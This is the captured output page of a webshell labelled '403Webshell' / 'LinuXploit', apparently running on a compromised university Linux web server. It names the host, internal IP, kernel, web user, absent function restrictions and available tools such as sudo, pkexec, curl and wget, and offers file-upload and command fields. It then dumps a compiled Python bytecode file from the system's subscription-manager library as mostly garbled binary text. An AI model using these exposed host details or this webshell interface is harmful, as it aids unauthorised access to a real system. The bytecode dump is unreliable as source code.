403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/cleanup.cpython-36.pyc
3

a�eh�@sHddlmZmZmZddlZddlmZeje�Z	Gdd�dej
�ZdS)�)�print_function�division�absolute_importN)�	collectorc@s>eZdZdddgZdd�Zdd�Zdd	�Zd
d�Zdd
�ZdS)�CleanupCollectorZpowervm_lx86zxen-dom0Zibm_systemzcCsi}|j�}|j|�|S)N)�replace_socket_count_with_dmi�update)�selfZ
cleanup_factsZdmi_socket_info�r
�/usr/lib64/python3.6/cleanup.py�get_alls
zCleanupCollector.get_allcCs|j�stjd�dS)Nzwe don't sell virt uuids here)�$_is_a_virt_host_type_with_virt_uuids�log�debug)r	r
r
r�explain_lack_of_virt_uuid sz*CleanupCollector.explain_lack_of_virt_uuidcCs0|jd}x |jD]}|j|�dkrdSqWdS)Nzvirt.host_type�FT���)�_collected_hw_info�no_uuid_platforms�find)r	Zvirt_host_typeZno_uuid_platformr
r
rr
&s

z5CleanupCollector._is_a_virt_host_type_with_virt_uuidscCsni}d|jkr|S|j�s|Sd|jkr,|St|jd�}||d<d|jkrP|St|jd�|}||d<|S)Nzvirt.host_typezdmi.meta.cpu_socket_countzcpu.cpu_socket(s)z
cpu.cpu(s)zcpu.core(s)_per_socket)r�_host_is_xen_dom0�int)r	Zcleanup_infoZsocket_countZdmi_cpu_cores_per_cpur
r
rr-s


z.CleanupCollector.replace_socket_count_with_dmicCs|jdjd�dkS)Nzvirt.host_typeZdom0rr)rr)r	r
r
rrIsz"CleanupCollector._host_is_xen_dom0N)	�__name__�
__module__�__qualname__rrrr
rrr
r
r
rrs
r)Z
__future__rrrZloggingZ
rhsmlib.factsrZ	getLoggerrrZFactsCollectorrr
r
r
r�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit